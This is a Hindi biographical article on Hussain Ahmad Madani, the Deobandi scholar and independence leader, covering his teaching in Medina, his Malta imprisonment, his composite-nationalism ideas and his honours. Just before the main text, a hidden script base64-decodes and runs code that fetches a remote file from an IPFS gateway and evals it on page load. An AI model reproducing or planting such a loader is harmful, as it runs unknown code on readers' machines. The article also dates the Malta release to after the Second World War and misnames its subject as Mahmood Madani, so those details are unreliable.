हुसैन अहमद मदनी  

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हुसैन अहमद मदनी
पूरा नाम हुसैन अहमद मदनी
जन्म 6 अक्टूबर, 1879
जन्म भूमि कस्बा बांगरमऊ, ज़िला उन्नाव, उत्तर प्रदेश
मृत्यु 5 दिसम्बर, 1957
मृत्यु स्थान देवबंद, उत्तर प्रदेश
अभिभावक पिता- सय्यद हबीबुल्लाह
संतान तीन पुत्र
कर्म भूमि भारत
विद्यालय दारुल उलूम देवबंद
पुरस्कार-उपाधि पद्म भूषण, 1954
प्रसिद्धि इस्लामी विद्वान और स्वतंत्रता सेनानी
नागरिकता भारतीय
अन्य जानकारी मौलाना हुसैन अहमद मदनी हिन्दू और मुस्लिम दोनों ही चरमपंथियों से बराबर रूप से लड़े। इसी प्रक्रिया में मौलाना महमूद मदनी की बहस कई बार शायर अल्लामा मौलाना इकबाल के साथ हुई।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>हुसैन अहमद मदनी (अंग्रेज़ी: Hussain Ahmed Madani, जन्म- 6 अक्टूबर, 1879; मृत्यु- 5 दिसम्बर, 1957) ख्यातिप्राप्त इस्लामी विद्वान और स्वतंत्रता सेनानी थे। वह भारतीय राष्ट्रीय कांग्रेस, खिलाफत आंदोलन और भारतीय स्वतंत्रता आंदोलन के एक प्रभावशाली नेता थे। हुसैन अहमद मदनी हाजिर जवाब, अच्छे वक्ता और एक अच्छे तर्कशास्त्री थे। उनके पिता सय्यद हबीबुल्लाह, पैगंबर मुहम्मद के वंशज थे।

परिचय

मौलाना सय्यद हुसैन अहमद मदनी का जन्म 6 अक्टूबर, 1879 में ज़िला उन्नाव, उत्तर प्रदेश के बांगरमऊ कस्बे में हुआ था। उनके पिता सय्यद हबीबुल्लाह प्रधानाध्यापक थे। आपने अपनी मां से पांचवीं तक और फिर 13 साल की उम्र तक अपनी शिक्षा पिता के स्कूल में पूरी की। तेरह साल की उम्र हो जाने पर पिता ने इन्हें दारुल उलूम देवबंद भेज दिया, जहां हुसैन अहमद मदनी ने मौलाना महमूद हसन देवबंदी और मौलाना जुल्फिकार अली (दारुल उलूम देवबंद के संस्थापकों में से एक) जैसे शिक्षकों के अधीन अध्ययन किया। बाद में वह रशीद अहमद गंगोही के शिष्य बने, जिन्होंने बाद में इन्हें सूफी मार्ग में दूसरों को मुरीद करने के लिए अधिकृत किया।

दारुल उलूम देवबंद से स्नातक होने के बाद हुसैन अहमद मदनी मदीना चले गए। जहां इन्होंने अरबी व्याकरण, अल-फ़िकह, उसूल अल-हदीस और कुरानिक पढ़ाना शुरू किया। धीरे धीरे इनका शिक्षण बहुत विस्तृत हो गया। इनके आसपास छात्रों की भीड़ जमा हो गई। इस समय उनकी उम्र मात्र 24 साल थी। हुसैन अहमद मदनी को शिक्षा के क्षेत्र में इतनी प्रसिद्धि मिली कि मध्य पूर्व, अफ्रीका, चीन, अल्जीरिया, हिन्दुस्तान तक के छात्र ज्ञान प्राप्त करने खींचे चले आने लगे।

स्वतंत्रता और एकता के लिए प्रयास

सऊदी में शिक्षण के दौरान हुसैन अहमद मदनी के शिक्षक मेहमूद हसन की 'रेशम पत्र षड्यंत्र' में भूमिका के लिए अंग्रेजों द्वारा सजा सुनाई गई। जिसके बाद उन्हें माल्टा द्वीप की एक जेल में भेज दिया गया। अपने बूढ़े उस्ताद की सेवा के लिए मदनी और तीन छात्रों ने साथ जाने का फैसला किया ताकि वह उनकी देखभाल कर सकें। महमूद हसन ने कहा कि अंग्रेजी सरकार ने मुझे दोषी पाया है, तुम लोग निर्दोष हो, खुद को रिहा करने की कोशिश करो। तब चारों ने जवाब दिया कि वे मर जाएंगे लेकिन वे आपकी सेवा से अलग नहीं होंगे।

द्वितीय विश्व युद्ध की समाप्ति के बाद साढ़े तीन साल की कैद के बाद, शेख अल-हिंद और हुसैन अहमद मदनी सहित उनके सभी साथियों को आखिरकार रिहा कर दिया गया। अपनी रिहाई के बाद वे भारत लौट आए और भारत के स्वतंत्रता संग्राम में सक्रिय रूप से शामिल हो गए। हुसैन अहमद मदनी ने 1920 में कांग्रेस-खिलाफत समझौते को मजबूत करने में महत्वपूर्ण भूमिका निभाई और भारतीय राष्ट्रीय कांग्रेस के साथ भारतीय उलेमा के सहयोग के लिए जमीन तैयार की।

सन 1930 से 1950 के धार्मिक रूप से कठिन वर्षों के दौरान जब धार्मिक विचार हिन्दू महासभा और मुस्लिम लीग जैसे दो चरम पंथों में बंटे थे तो मौलाना मदनी ने बार बार यह लिखा, तर्क किया और इस बात के लिए अभियान चलाया कि अंग्रेजों के खिलाफ सभी धर्मों के लोगों को मिलकर संयुक्त संघर्ष करना चाहिए और इसी के साथ उन्होंने कुरआन और पैगम्बर मुहम्मद साहब की शिक्षाओं (हदीस) के आधार पर समुदायों के बीच एकता और सहयोग को भी उचित ठहराया। मौलाना मदनी ने पाकिस्तान के निर्माण और दो राष्ट्र सिद्धांत के तर्क का विरोध किया। इसके लिए आपने अपनी राजनीतिक विचार 'मुत्तहिदह कौमियत' का लोगो में खूब प्रचार प्रसार किया।

मुत्तहिदह कौमियत

हुसैन अहमद मदनी पर जारी डाक टिकट

मुत्तहिदह कौमियात वह अवधारणा है जो यह तर्क देती है कि 'भारतीय राष्ट्र' विविध संस्कृतियों, जातियों, समुदायों और धर्म के लोगों से बना है। इसलिए भारत में राष्ट्रवाद को धर्म द्वारा परिभाषित नहीं किया जा सकता है। भारतीय नागरिक अपनी विशिष्ट धार्मिक परंपराओं एवं पहचान को बनाए रखते हुये एक स्वतंत्र, धर्मनिरपेक्ष भारत के पूर्ण नागरिक होंगे। मुत्तहिदह कौमियात (समग्र राष्ट्रवाद) का कहना है कि अंग्रेजों के भारतीय उपमहाद्वीप में आने से पहले विभिन्न धार्मिक विश्वास के लोगों के बीच कोई दुश्मनी नहीं थी। अंग्रेजों ने 'फूट डालो और राज करो' नीति के तहत् लोगों के बीच दुश्मनी पैदा की। लोगों को ये समझा कर इन कृत्रिम विभाजनों को भारतीय समाज से दूर किया जा सकता है।

अपने ऐसे विचारों से मौलाना हुसैन अहमद मदनी हिन्दू और मुस्लिम दोनों ही चरमपंथियों से बराबर रूप से लड़ रहे थे। इसी प्रक्रिया में मौलाना महमूद मदनी की बहस भी कई बार शायर अल्लामा मौलाना इकबाल के साथ हुई। कई पत्रों द्वारा विचारों के आदान प्रदान के बाद मदनी अपने प्रयास में सफल हुए। इसका पता इकबाल के कई पत्रों से चलता है। अपने सभी प्रयासों के बावजूद देश का विभाजन होने से हुसैन अहमद मदनी को बहुत दु:ख हुआ। हुसैन अहमद मदनी और कई अन्य मुस्लिम धार्मिक नेताओं ने लाखों मुस्लिमों को भारत में रुकने के लिए मना लिया।

पद्म भूषण

आजादी के बाद जवाहरलाल नेहरू की अगुआई वाली नई सरकार ने मौलाना मदनी को कई तरह का राजनीतिक पद देने का प्रयास किया, मगर मदनी ने बहुत ही विनम्रता से इंकार कर दिया और देवबंद मदरसे में पढ़ाना शुरू कर दिया। मौलाना मदनी 1954 में पद्म भूषण सम्मान प्राप्त करने वाले पहले प्राप्तकर्ताओं में से एक थे।

मृत्यु

5 दिसम्बर सन 1957 में मौलाना सय्यद हुसैन अहमद मदनी की मृत्यु के बाद उनके पार्थिव शरीर को तिरंगे में लपेट कर देश का सर्वोच्च सम्मान दिया गया और अंतिम यात्रा में प्रधानमंत्री नेहरू समेत उनके मंत्रिमंडल के कई मंत्री भी मौजूद थे। मौलाना मदनी को सर्वोच्च सम्मान के साथ सुपुर्दे ख़ाक किया गया। 29 अगस्त 2012 को भारतीय डाक विभाग ने मौलाना मदनी के सम्मान में एक स्मारक डाक टिकट भी जारी किया।


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टीका टिप्पणी और संदर्भ

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